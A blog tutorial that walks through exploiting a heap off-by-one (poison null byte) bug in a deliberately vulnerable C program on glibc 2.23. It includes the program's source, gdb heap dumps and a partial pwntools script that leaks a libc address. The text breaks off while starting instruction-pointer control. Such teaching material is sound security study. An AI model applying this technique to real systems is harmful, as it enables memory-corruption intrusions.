![\"\"](\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/poison_null.png\")
<\/p>\n<\/p>\n
The goal of this article is to explain in detail how an off-by-one vulnerability on the heap also known as poison null byte<\/i> can be exploited. Although this technique does not work with the latest libc, I think it can be used very good in order to demonstrate how exploits based on heap-metadata corruption work (also check out shellphish’s how2heap<\/a>).<\/p>\n In order to do this I created a vulnerable program, which we will use as an example to create such an exploit. If you like to, you can start by analyzing and exploiting the program on your own (at least check out Environment<\/a>):<\/p>\n –> heap.zip<\/a><\/p>\n Though it is not required to the exploit the program, the source-code might be helpful:<\/p>\n –> heap.c<\/a><\/p>\n The article is divided into the following sections:<\/p>\n –> Environment<\/a> <\/p>\n There is a major difference between stack- and heap-based exploits: the stack-logic (e.g. what calling conventions are being used) is compiled into the binary. It does not matter which libc-version your system is using: each This is different with the heap. The heap-logic depends on the libc-version being used. A software developer uses a straight-forward interface (e.g. Long story short: In order to comprehend the steps described in this article I recommend you to use the same environment (especially libc-version).<\/p>\n I used an Kernel-version With libc-version Address Space Layout Randomization<\/i> (ASLR<\/i>) is enabled (disabled in exploit development phase):<\/p>\n The vulnerable program is compiled as a Position-independent Executable ( As described in the introduction we will have a look at a sample program, which is affected by an off-by-one vulnerability on the heap.<\/p>\n The program is similar to an usual ctf heap-pwn challenge displaying a menu to choose between creating\/deleting\/printing a chunk:<\/p>\n When creating a chunk the desired size and data has to be entered:<\/p>\n The output contains the slot in which the newly allocated chunk is stored (in this case This slot index is supposed to be used when printing a chunk…<\/p>\n or when deleting it:<\/p>\n Let’s have a look at the source-code:<\/p>\n Can you spot the vulnerability?<\/p>\n Spoiler ahead …<\/p>\n The vulnerability resides within the function After the call to Even if the user enters the maximum size (1023), there is no stack-overflow since The actual problem arises on lines 71-72<\/i> when a chunk with So we have identified a vulnerability which gives us the possibility to overflow a heap-chunk with a single null-byte. It does not sound like we could do alot with this, does it? Well, actually we can: supposing that the program is running on a server this tiny null-byte can lead to full Remote Code Execution<\/i> (RCE<\/i>). But before we jump right into the development of our exploit, we shortly recap some heap basics.<\/p>\n Let’s allocate a heap-chunk using After the call to The heap-metadata for each chunk are two 8 byte values (4 byte on 32bit), which are stored in front of the actual data of the chunk. Notice that malloc returns the address of the data ( The Let’s create another chunk:<\/p>\n After the second call to When filling all 0x88 bytes of the first chunk, ..<\/p>\n .. we can see that the Let’s now delete the first chunk ..<\/p>\n .. and have a look at the heap:<\/p>\n Notice that the The first thing to notice is that the main arena also contains a value called Our free chunk can be found within For now our doubly linked listed contains only one chunk:<\/p>\n If we would free another chunk of the same size (in this case our chunk is stored in a smallbin<\/i> in contrary to a largebin<\/i> for chunks >= 512 byte, which are treated slightly different), the second free’d chunk would be inserted at the head of the doubly linked list:<\/p>\n Each subsequent free’d chunk will be become the new head chunk:<\/p>\n When we allocate a chunk of the corresponding size, we will be served with the free chunk from the tail of the list:<\/p>\n In other words: smallbins are treated as first in, first out<\/i> (FIFO<\/i>):<\/p>\n I have already mentioned that small chunks are stored in singly linked lists called fastbins<\/i>. So let’s see what happens, if we free the second chunk which only contains 0x28 bytes:<\/p>\n Now the heap looks like this:<\/p>\n Well, actually nothing changed. This is because the chunk is stored in a fastbin and thus only contains a If we would free another chunk of the same size, this chunk would be inserted at the head of the singly linked list (just like with smallbins):<\/p>\n Another chunk free’d:<\/p>\n In contrast to smallbins free chunks within a fastbin are removed from the head on an allocation:<\/p>\n In other words: fastbins are treated as last in, first out<\/i> (LIFO<\/i>):<\/p>\n After this short recap of some heap basics we are now set to start developing our exploit.<\/p>\n Because ASLR is enabled and we do not know any libc-address, let’s start by leaking one.<\/p>\n In order to leak a libc-address through a heap-based vulnerability we can leverage the fact, that the A common goal to achieve a UAF<\/i> like state is to create overlapping chunks<\/b>. If the heap-metadata gets corrupted in such a way that two chunks are overlapping in memory, we can free one chunk (which now contains libc-addresses) and then use the other chunk to print those addresses.<\/p>\n Let’s begin by determining what we can overwrite with the single null-byte. In order to do so we review the example from above, in which we allocated two chunks:<\/p>\n As we can see the lowest byte of the When we are overflowing chunk1 now, the size of chunk2 ( What can we do by clearing the If we would just take our example from above, clear the At this point we start working on the actual vulnerable sample program. At first I created a few helper-functions to create, delete and prints chunks using a python-script:<\/p>\n In order to create the overlapping chunks, we allocate four chunks at first:<\/p>\n Side note:<\/u> For debugging purpose I consider it easier to disable ASLR and just keep in mind, that I actually don’t know any address. This way the heap addresses will stay constant, which makes printing a little bit more handy.<\/i><\/p>\n So let’s have a look at the heap after the allocation of the four chunks:<\/p>\n Each chunk will serve a different purpose. Here is just a quick overview:<\/p>\n Let’s carry out the mentioned actions step by step. At first we free Then we trigger the off-by-one vulnerability by overflowing After the Let’s have a look at the heap after these steps:<\/p>\n When we now free The result is a big free chunk overlapping with Now we only need to allocate a chunk with the same size of the original Notice that I chose The So we merely need to print The offset After successfully leaking the libc base-address we can calculate all addresses of interest. But the most important step is still missing: controlling the instruction pointer.<\/p>\n When considering how to the control the instruction pointer, there is yet again a great difference between stack- and heap-based exploits. The classical method on the stack is to overwrite the return address being stored there. On the heap there is no return address. It might be the case that function pointers of more complex objects ( This way we can write arbitrary data to an address of our choice. Nevertheless there are some constraints as we will see later. For now it is only important that we are going to use a fastbin. Ultimately we simply want to overwrite some function pointer and do not need to write a hug amount of data, so the size of a fastbin will suffice. Also fastbins only use the forward pointer Let’s begin by determining how we can insert an address to a fastbin. As we have already seen, a fastbin is a singly linked list, whose head pointer is stored in the main arena. This head pointer references the first free chunk. The address of the second free chunk is stored in the
\n–> Vulnerable Program<\/a>
\n–> Heap Basics<\/a>
\n–> Libc-Leak<\/a>
\n–> Control Instruction Pointer<\/a>
\n–> One Gadget<\/a>
\n–> Final Exploit<\/a><\/p>\n
\nEnvironment<\/h2>\n
push<\/code> and pop<\/code> or reference to the stack (e.g. ebp+0x20<\/code>) is part of the binary and is not affected by an external library.<\/p>\nmalloc<\/code> and free<\/code>) to access the heap. This interface does not change. The implementation of the interface does. This means that each libc-version may implement the heap-interface differently. For a software developer who uses the interface it is only important, that each call to malloc<\/code> allocates the requested bytes on the heap and a subsequent call to free<\/code> deallocates this memory. He does not care about how the libc manages the heap-memory. For an exploit developer this is important. A vulnerability like the off-by-one vulnerability explained in this article corrupts the heap’s metadata. These metadata are additional information stored on the heap for each allocated or free chunk in order to keep track of the available memory. An exploit corrupting these metadata may only work with a specific libc-version. This does not only affect the offsets being used in the exploit but rather the whole exploit-logic depending on how the libc allocates\/deallocates chunks and what security checks are performed on the metadata. <\/p>\nUbuntu 16.04.4 LTS (Xenial Xerus)<\/code>:<\/p>\n\r\nxerus@xerus:~$ cat \/etc\/lsb-release \r\nDISTRIB_ID=Ubuntu\r\nDISTRIB_RELEASE=16.04\r\nDISTRIB_CODENAME=xenial\r\nDISTRIB_DESCRIPTION="Ubuntu 16.04.4 LTS"\r\n<\/pre>\n
4.13<\/code>:<\/p>\n\r\nxerus@xerus:~$ uname -a\r\nLinux xerus 4.13.0-36-generic #40~16.04.1-Ubuntu SMP Fri Feb 16 23:25:58 UTC 2018 x86_64 x86_64 x86_64 GNU\/Linux\r\n<\/pre>\n
2.23<\/code>:<\/p>\n\r\nxerus@xerus:~\/pwn\/heap$ ldd heap\r\n\tlinux-vdso.so.1 => (0x00007ffff7ffa000)\r\n\tlibc.so.6 => \/lib\/x86_64-linux-gnu\/libc.so.6 (0x00007ffff7a0d000)\r\n\t\/lib64\/ld-linux-x86-64.so.2 (0x00007ffff7dd7000)\r\n\r\nxerus@xerus:~\/pwn\/heap$ ls -al \/lib\/x86_64-linux-gnu\/libc.so.6\r\nlrwxrwxrwx 1 root root 12 Jul 23 07:11 \/lib\/x86_64-linux-gnu\/libc.so.6 -> libc-2.23.so\r\n\r\nxerus@xerus:~\/pwn\/heap$ file \/lib\/x86_64-linux-gnu\/libc-2.23.so \r\n\/lib\/x86_64-linux-gnu\/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU\/Linux), dynamically linked, interpreter \/lib64\/ld-linux-x86-64.so.2, BuildID[sha1]=b5381a457906d279073822a5ceb24c4bfef94ddb, for GNU\/Linux 2.6.32, stripped\r\n<\/pre>\n
\r\nxerus@xerus:~\/pwn\/heap$ cat \/proc\/sys\/kernel\/randomize_va_space \r\n2\r\n<\/pre>\n
PIE<\/code>) with Full RELRO<\/code>:<\/p>\n\r\nxerus@xerus:~\/pwn\/heap$ checksec heap\r\nRELRO STACK CANARY NX PIE RPATH RUNPATH\tSymbols\t\tFORTIFY\tFortified\tFortifiable FILE\r\nFull RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 79 Symbols\tYes\t0\t\t6\theap\r\n<\/pre>\n
\nVulnerable Program<\/h2>\n
\r\nxerus@xerus:~\/pwn\/heap$ .\/heap \r\n1. create\r\n2. delete\r\n3. print\r\n4. exit\r\n> \r\n<\/pre>\n
\r\n> 1\r\n\r\nusing slot 0\r\nsize: 40\r\ndata: AAAAAAAAAAAAAAAAAAAAAAAAA\r\nsuccessfully created chunk\r\n<\/pre>\n
slot 0<\/code>).<\/p>\n\r\n> 3\r\nidx: 0\r\n\r\ndata: AAAAAAAAAAAAAAAAAAAAAAAAA\r\n<\/pre>\n
\r\n> 2\r\nidx: 0\r\nsuccessfully deleted chunk\r\n<\/pre>\n
\r\nxerus@xerus:~\/pwn\/heap$ cat heap.c \r\n\/**\r\n *\r\n * heap.c\r\n *\r\n * sample program: heap off-by-one vulnerability\r\n * \r\n * gcc heap.c -pie -fPIE -Wl,-z,relro,-z,now -o heap\r\n *\r\n *\/\r\n\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <unistd.h>\r\n#include <string.h>\r\n\r\n#define DELETE 1\r\n#define PRINT 2\r\n\r\nvoid create();\r\nvoid process(unsigned int);\r\n\r\nchar *ptrs[10];\r\n\r\n\/**\r\n * main-loop: print menu, read choice, call create\/delete\/exit\r\n *\/\r\nint main() {\r\n\r\n setvbuf(stdout, NULL, _IONBF, 0);\r\n\r\n while(1) {\r\n unsigned int choice;\r\n puts("1. create\\n2. delete\\n3. print\\n4. exit");\r\n printf("> ");\r\n scanf("%u", &choice);\r\n\r\n switch(choice) {\r\n case 1: create(); break;\r\n case 2: process(DELETE); break;\r\n case 3: process(PRINT); break;\r\n case 4: exit(0); break;\r\n default: puts("invalid choice"); break;\r\n }\r\n }\r\n}\r\n\r\n\r\n\/**\r\n * creates a new chunk.\r\n *\/\r\nvoid create() {\r\n\r\n unsigned int i, size;\r\n unsigned int idx = 10;\r\n char buf[1024];\r\n\r\n for (i = 0; i < 10; i++) {\r\n if (ptrs[i] == NULL) {\r\n idx = i;\r\n break;\r\n }\r\n }\r\n if (idx == 10) {\r\n puts("no free slots\\n");\r\n return;\r\n }\r\n \r\n printf("\\nusing slot %u\\n", idx);\r\n\r\n printf("size: ");\r\n scanf("%u", &size);\r\n if (size > 1023) {\r\n puts("maximum size (1023 bytes) exceeded\\n");\r\n return;\r\n }\r\n\r\n printf("data: ");\r\n size = read(0, buf, size);\r\n buf[size] = 0x00;\r\n \r\n ptrs[idx] = (char*)malloc(size);\r\n strcpy(ptrs[idx], buf);\r\n\r\n puts("successfully created chunk\\n");\r\n}\r\n\r\n\r\n\/**\r\n * deletes or prints an existing chunk.\r\n *\/\r\nvoid process(unsigned int action) {\r\n\r\n unsigned int idx;\r\n printf("idx: ");\r\n scanf("%u", &idx);\r\n\r\n if (idx > 10) {\r\n puts("invalid index\\n");\r\n return;\r\n }\r\n\r\n if (ptrs[idx] == NULL) {\r\n puts("chunk not existing\\n");\r\n return;\r\n }\r\n\r\n if (action == DELETE) {\r\n free(ptrs[idx]);\r\n ptrs[idx] = NULL;\r\n puts("successfully deleted chunk\\n");\r\n }\r\n else if (action == PRINT) {\r\n printf("\\ndata: %s\\n", ptrs[idx]);\r\n }\r\n\r\n}\r\n\r\n<\/pre>\n\n
\n <\/td>\n<\/tr>\n<\/table>\n create<\/code> in the following lines:<\/p>\n\r\n printf("data: ");\r\n size = read(0, buf, size);\r\n buf[size] = 0x00;\r\n \r\n ptrs[idx] = (char*)malloc(size);\r\n strcpy(ptrs[idx], buf);\r\n<\/pre>\nread<\/code> size<\/code> contains the amounts of bytes read, which are limited to the size the user entered (maximum 1023).<\/p>\nsize<\/code> is then used as an index in buf<\/code> in order to null-terminate the entered user-data on line 69<\/i> (read<\/code> does not do this).<\/p>\nbuf<\/code> contains 1024 bytes.<\/p>\nsize<\/code> bytes is created by the call to malloc<\/code> and the function strcpy<\/code> is used to copy the data from buf<\/code> to this newly created chunk (ptrs[idx]<\/code>). Since strcpy<\/code> also copies the terminating null-byte this may overflow the heap-chunk.<\/p>\n
\nHeap Basics<\/h2>\n
malloc<\/code>:<\/p>\n\r\n...\r\n char *ptr = malloc(0x88);\r\n...\r\n<\/pre>\n
malloc<\/code> the address of the new chunk is stored in RAX<\/code>:<\/p>\n\r\n[----------------------------------registers-----------------------------------]\r\nRAX: 0x602010 --> 0x0 \r\nRBX: 0x0 \r\nRCX: 0x7ffff7dd1b20 --> 0x100000000 \r\nRDX: 0x602010 --> 0x0 \r\nRSI: 0x602090 --> 0x0 \r\nRDI: 0x7ffff7dd1b20 --> 0x100000000 \r\nRBP: 0x7fffffffe490 --> 0x4005d0 (<__libc_csu_init>:\tpush r15)\r\nRSP: 0x7fffffffe470 --> 0x4005d0 (<__libc_csu_init>:\tpush r15)\r\nRIP: 0x400578 (<main+18>:\tmov QWORD PTR [rbp-0x10],rax)\r\nR8 : 0x602000 --> 0x0 \r\nR9 : 0xd ('\\r')\r\nR10: 0x7ffff7dd1b78 --> 0x602090 --> 0x0 \r\nR11: 0x0 \r\nR12: 0x400470 (<_start>:\txor ebp,ebp)\r\nR13: 0x7fffffffe570 --> 0x1 \r\nR14: 0x0 \r\nR15: 0x0\r\nEFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)\r\n[-------------------------------------code-------------------------------------]\r\n 0x40056a <main+4>:\tsub rsp,0x20\r\n 0x40056e <main+8>:\tmov edi,0x88\r\n 0x400573 <main+13>:\tcall 0x400450 <malloc@plt>\r\n=> 0x400578 <main+18>:\tmov QWORD PTR [rbp-0x10],rax\r\n...\r\n<\/pre>\n0x602010<\/code>). This means the whole chunk begins at 0x602000<\/code>):<\/p>\n![\"\"](\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/heapbasic-1.png\")
<\/p>\nprev_size<\/code> field contains the size of the previous chunk, if it is free. If the previous chunk is allocated, this field is not necessary and is also used for data of the previous chunk. The size+flags<\/code> field contains the size of the chunk itself (metadata+data). Because the chunk-size is always aligned to 8 byte (0x8<\/code>), the three least significant bits of the size+flags<\/code> field would always be zero and are thus used to store the following flags: allocated arena<\/code> (0x4<\/code>), mmap<\/code> (0x2<\/code>) and previous chunk in use<\/code> (0x1<\/code>). For our purpose only the previous chunk in use<\/code> flag is relevant. This flag determines if the previous chunk is free (flag = 0) or allocated (flag = 1).<\/p>\n\r\n...\r\n char *ptr = malloc(0x88);\r\n char *ptr2 = malloc(0x28);\r\n...\r\n<\/pre>\n
malloc<\/code> the heap looks like this:<\/p>\n![\"\"](\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/heapbasic-2.png\")
<\/p>\n\r\n...\r\n char *ptr = malloc(0x88);\r\n char *ptr2 = malloc(0x28);\r\n for (int i = 0; i < 0x88; i++) ptr[i] = 'A';\r\n...\r\n<\/pre>\n
prev_size<\/code> field of the second chunk is used for data of the first chunk:<\/p>\n![\"\"](\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/heapbasic-3.png\")
<\/p>\n\r\n...\r\n char *ptr = malloc(0x88);\r\n char *ptr2 = malloc(0x28);\r\n for (int i = 0; i < 0x88; i++) ptr[i] = 'A';\r\n free(ptr);\r\n...\r\n<\/pre>\n
![\"\"](\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/heapbasic-4.png\")
<\/p>\nprev_size<\/code> field of chunk2 is actually set and the previous chunk in use<\/code> flag has been unset. The first 16 bytes of data of the free chunk now contain the Forward Pointer<\/code> (FD<\/code>) and the Backward Pointer<\/code> (BK<\/code>). These pointers are used to store all free chunks in doubly linked lists called bins<\/i>. The exception are small chunks, which are stored in singly linked lists called fastbins<\/i> (we will see the details later). As you may noticed, the values stored in the FD<\/code> and BK<\/code> are libc-addresses. This is because there is only a single free chunk for now and thus the FD<\/code> and BK<\/code> is set to the list’s head<\/code> and tail<\/code>, which are stored in the so called main_arena<\/i> within the libc. We can inspect the main arena in gdb<\/code> using the command p main_arena<\/code>:<\/p>\n\r\ngdb-peda$ p main_arena \r\n$1 = {\r\n mutex = 0x0, \r\n flags = 0x1, \r\n fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, \r\n top = 0x6020c0, \r\n last_remainder = 0x0, \r\n bins = {0x602000, 0x602000, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b88 <main_arena+104>, \r\n 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1ba8 <main_arena+136>, \r\n 0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1bb8 <main_arena+152>, 0x7ffff7dd1bb8 <main_arena+152>, \r\n 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bd8 <main_arena+184>, \r\n...\r\n<\/pre>\ntop<\/code>, which points to the top of the heap also known as wilderness<\/i>.<\/p>\nbins<\/code>. bins<\/code> contain a head<\/code> and a tail<\/code> pointer for each stored bin. The first head<\/code> and tail<\/code> pointer both reference our free chunk at 0x602000<\/code>. Notice again that this is the address returned by malloc - 0x10<\/code> because it references the metadata and not the actual data. This offset must also be considered for the head<\/code> and tail<\/code> pointer stored in the FD<\/code> and BK<\/code> of the free’d chunk. Both the FD<\/code> and the BK<\/code> contain the value 0x7ffff7dd1b78<\/code>, which means that the actual head<\/code> pointer is located at +0x10 = 0x7ffff7dd1b88<\/code> and the tail<\/code> pointer at +0x18 = 0x7ffff7dd1b90<\/code>:<\/p>\n\r\ngdb-peda$ x\/xg 0x7ffff7dd1b78+0x10\r\n0x7ffff7dd1b88 <main_arena+104>: 0x0000000000602000\r\ngdb-peda$ x\/xg 0x7ffff7dd1b78+0x18\r\n0x7ffff7dd1b90 <main_arena+112>: 0x0000000000602000\r\n<\/pre>\n
![\"\"](\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_01.png\")
<\/p>\n![\"\"](\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_02a.png\")
<\/p>\n![\"\"](\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_03.png\")
<\/p>\n![\"\"](\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_04.png\")
<\/p>\n![\"\"](\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_05.png\")
<\/p>\n\r\n...\r\n char *ptr = malloc(0x88);\r\n char *ptr2 = malloc(0x28);\r\n for (int i = 0; i < 0x88; i++) ptr[i] = 'A';\r\n free(ptr);\r\n free(ptr2);\r\n...\r\n<\/pre>\n
![\"\"](\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/heapbasic-5.png\")
<\/p>\nForward Pointer<\/code> (FD<\/code>). As there are no more free chunks of the same size, the FD<\/code> is set to zero to indicate the end of the list. The head of the fastbin is yet again stored within the main arena:<\/p>\n\r\ngdb-peda$ p main_arena \r\n$1 = {\r\n mutex = 0x0, \r\n flags = 0x0, \r\n fastbinsY = {0x0, 0x602090, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, \r\n top = 0x6020c0, \r\n last_remainder = 0x0, \r\n bins = {0x602000, 0x602000, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b88 <main_arena+104>, \r\n 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1ba8 <main_arena+136>, \r\n...\r\n<\/pre>\nfastbinY<\/code> contains a head pointer for each fastbin. As you can see there are 10 fastbins, which differ in the size of the chunks stored in it. Until now there is only a single chunk in the second fastbin:<\/p>\n![\"\"](\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_06.png\")
<\/p>\n![\"\"](\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_07.png\")
<\/p>\n![\"\"](\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_08.png\")
<\/p>\n![\"\"](\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_09.png\")
<\/p>\n![\"\"](\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_10.png\")
<\/p>\n
\nLibc-Leak<\/h2>\n
FD<\/code> and BK<\/code> of a free chunk at the head or tail of a bin contains libc-addresses of the main arena. If the program would be affected by an Use After Free<\/i> (UAF<\/i>) vulnerability, we could just free a chunk and then print its data. Since the first 8 bytes of data are the FD<\/code>, we would get a libc-address right away. As the sample program does not contain an UAF vulnerability and we can only overflow a chunk with a single null-byte, we have to get a little bit more creative.<\/p>\n![\"\"](\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-1.png\")
<\/p>\nsize+flags<\/code> field of chunk2 will be overwritten, when we overflow chunk1 with a single null-byte. In this case the value 0x31<\/code>, which represents the size of chunk2 (0x30<\/code>) as well as the enabled previous chunk in use<\/code> flag (0x1<\/code>), would be set to 0x00<\/code>. This will likely crash the program, because the heap-metadata are not valid anymore (a chunk cannot have a size of 0x00<\/code>). But let’s consider what is happening, if chunk2 has a size of 0x100<\/code>:<\/p>\n\r\n...\r\n char *ptr = malloc(0x88);\r\n char *ptr2 = malloc(0xf8);\r\n for (int i = 0; i < 0x88; i++) ptr[i] = 'A';\r\n...\r\n<\/pre>\n
![\"\"](\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-2.png\")
<\/p>\n0x100<\/code>) is not altered, since it is only stored within the second lowest byte. The only thing being altered is the previous chunk in use<\/code> flag, which is set from 0x1<\/code> to 0x0<\/code>. This means that we can clear the flag without corrupting any other heap-metadata.<\/p>\nprevious chunk in use<\/code> flag? The purpose of the flag is make it possible to consolidate adjacent free chunks. If there is a free chunk on the heap and the chunk right after this free chunk is also free, those two free chunks can be combined to a big free chunk. This way heap-fragmentation can be avoided (if there wouldn’t be chunks in fastbin-size, which are not consolidated). When a chunk is free’d, the libc checks if the previous chunk in use<\/code> flag is set. If it is not, the chunk, which is supposed to be free’d, is consolidated with the precending free chunk. By clearing the previous chunk in use<\/code> flag we can trick the libc into consolidating a free chunk with an actually allocated chunk, which precedes the free chunk.<\/p>\nprevious chunk in use<\/code> flag of chunk2 and then try to free chunk2 in order to trick the libc into consolidating both chunks, the program would simply crash. Why that? Well, chunk1 will be treated as a free chunk. This means that the previous size<\/code> field of chunk1 should contain a valid value and – even more harder to fake – the FD<\/code> and BK<\/code> pointers should be set appropriately. But don’t worry! With a little bit more work we can achieve our goal to create two overlapping chunks.<\/p>\n\r\n#!\/usr\/bin\/env python\r\n\r\nfrom pwn import *\r\n\r\np = process('.\/heap')\r\n\r\ndef create(size, data):\r\n p.sendlineafter('>', str(1))\r\n p.sendlineafter('size: ', str(size))\r\n p.sendlineafter('data: ', data)\r\n\r\ndef delete(idx):\r\n p.sendlineafter('>', str(2))\r\n p.sendlineafter('idx: ', str(idx))\r\n\r\ndef printData(idx):\r\n p.sendlineafter('>', str(3))\r\n p.sendlineafter('idx: ', str(idx))\r\n p.recvuntil('data: ')\r\n ret = p.recvuntil('\\n')\r\n return ret[:-1]\r\n<\/pre>\n\r\ncreate(0xf8, 'A'*0xf8) # chunk_AAA, idx = 0\r\ncreate(0x68, 'B'*0x68) # chunk_BBB, idx = 1\r\ncreate(0xf8, 'C'*0xf8) # chunk_CCC, idx = 2\r\ncreate(0x10, 'D'*0x10) # chunk_DDD, idx = 3\r\n<\/pre>\n
![\"\"](\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-3.png\")
<\/p>\n\n
chunk_AAA<\/b><\/code> will be free’d to become a valid free chunk.<\/li>\nchunk_BBB<\/b><\/code> will be used to trigger the off-by-one vulnerability overflowing into chunk_CCC<\/code>. We will also set the previous size<\/code> field of chunk_CCC<\/code> to the size of chunk_AAA + chunk_BBB<\/code>. chunk_BBB<\/code> will be one of the overlapping chunks.<\/li>\nchunk_CCC<\/b><\/code>‘s previous chunk in use<\/code> flag will be cleared by the overflow. We will then free the chunk so that it will be consolidated with chunk_AAA<\/code>. This big free chunk will overlap with chunk_BBB<\/code>.<\/li>\nchunk_DDD<\/b><\/code> is a fastbin-size chunk with the sole purpose to prevent consolidation with the top of the heap.<\/li>\n<\/ul>\nchunk_AAA<\/code>:<\/p>\n\r\n# chunk_AAA will be a valid free chunk (containing libc-addresses in FD\/BK)\r\ndelete(0)\r\n<\/pre>\n
chunk_BBB<\/code> in order to clear the previous chunk in use<\/code> flag of chunk_CCC<\/code>. Because the size of chunk_BBB<\/code> is in fastbin range, it will not be consolidated but rather put as a free chunk in the corresponding fastbin. When we reallocate a chunk with the same size, it will be stored at the exact same location.<\/p>\n\r\n# leverage off-by-one vuln in chunk_BBB:\r\n# overwrite prev_inuse bit of following chunk (chunk_CCC)\r\ndelete(1)\r\ncreate(0x68, 'B'*0x68) # chunk_BBB, new idx = 0\r\n<\/pre>\n
previous chunk in use<\/code> flag of chunk_CCC<\/code> has been cleared, we also have to set the previous size<\/code> field of chunk_CCC<\/code> to the size of chunk_AAA + chunk_BBB<\/code>, which is 0x170<\/code>. Unfortunately we cannot insert null-bytes in the data because strcpy<\/code> is used, which will terminate on a null-byte. To insert null-bytes anyway, we simply reduce the data-length byte-by-byte. The appended null-byte at the end of the string will serve our purpose:<\/p>\n\r\n# set prev_size of following chunk (chunk_CCC) to 0x170\r\nfor i in range(0x66, 0x5f, -1):\r\n delete(0)\r\n create(i+2, 'B'*i + '\\x70\\x01') # chunk_BBB, new_idx = 0\r\n<\/pre>\n
![\"\"](\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-4.png\")
<\/p>\nchunk_CCC<\/code> it gets consolidated with the previous chunk, which is assumed to be 0x170 bytes large, because we faked the previous size<\/code> field of chunk_CCC<\/code>.<\/p>\n\r\n# now delete chunk_CCC to trigger consolidation with the fakechunk (0x170)\r\n# after this we have got a big free chunk (0x270) overlapping with chunk_BBB\r\ndelete(2)\r\n<\/pre>\n
chunk_BBB<\/code>:<\/p>\n![\"\"](\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-5.png\")
<\/p>\nchunk_AAA<\/code> (0x100<\/code>) in order to align the big free chunk with chunk_BBB<\/code> and thus store the FD<\/code> and BK<\/code> at the beginning of chunk_BBB<\/code>:<\/p>\n\r\n# create a new chunk (chunk_EEE) within the big free chunk to push\r\n# the libc-addresses (fd\/bk) down to chunk_BBB\r\ncreate(0xf6, 'E'*0xf6) # chunk_EEE, new_idx = 1\r\n<\/pre>\n
0xf6<\/code> instead of 0xf8<\/code> for the size to prevent triggering the off-by-one vulnerability again.<\/p>\nFD<\/code> and BK<\/code> of the big free chunk are now aligned with chunk_BBB<\/code>:<\/p>\n![\"\"](\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-6.png\")
<\/p>\nchunk_BBB<\/code> (index 0<\/code>):<\/p>\n\r\n# the content of chunk_BBB now contains fd\/bk (libc-addresses)\r\n# just print the chunk (idx = 0)\r\nlibc_offset = 0x3c4b78\r\nlibc_leak = printData(0)\r\nlibc_leak = unpack(libc_leak + (8-len(libc_leak))*'\\x00', 64)\r\nlibc_base = libc_leak - libc_offset\r\nlog.info('libc_base: ' + hex(libc_base))\r\n<\/pre>\nlibc_offset<\/code> can be easily calculated using gdb<\/code>. The script now yields the libc base-address and we have thus defeated ASLR:<\/p>\n\r\nxerus@xerus:~\/pwn\/heap$ echo 2 | sudo tee \/proc\/sys\/kernel\/randomize_va_space \r\n2\r\nxerus@xerus:~\/pwn\/heap$ .\/exploit.py \r\n[+] Starting local process '.\/heap': pid 5053\r\n[*] libc_base: 0x7f8482a13000\r\n[*] Stopped process '.\/heap' (pid 5053)\r\nxerus@xerus:~\/pwn\/heap$ .\/exploit.py \r\n[+] Starting local process '.\/heap': pid 5057\r\n[*] libc_base: 0x7f28f53ef000\r\n[*] Stopped process '.\/heap' (pid 5057)\r\nxerus@xerus:~\/pwn\/heap$ .\/exploit.py \r\n[+] Starting local process '.\/heap': pid 5061\r\n[*] libc_base: 0x7f784c1c6000\r\n[*] Stopped process '.\/heap' (pid 5061)\r\n<\/pre>\n
\nControl Instruction Pointer<\/h2>\n
struct<\/code> \/ class<\/code>) are stored on the heap, which can be overwritten to directly control the instruction pointer, but this is not the case with our sample program. Instead we will stick to a common technique when exploiting heap-based vulnerabilites, which basically works like this:<\/p>\n\n
FD<\/code>, which makes it easier as we will see.<\/p>\nFD<\/code> of the first free chunk and so forth. If we manage to overwrite the FD<\/code> of a free chunk, we effectively add a free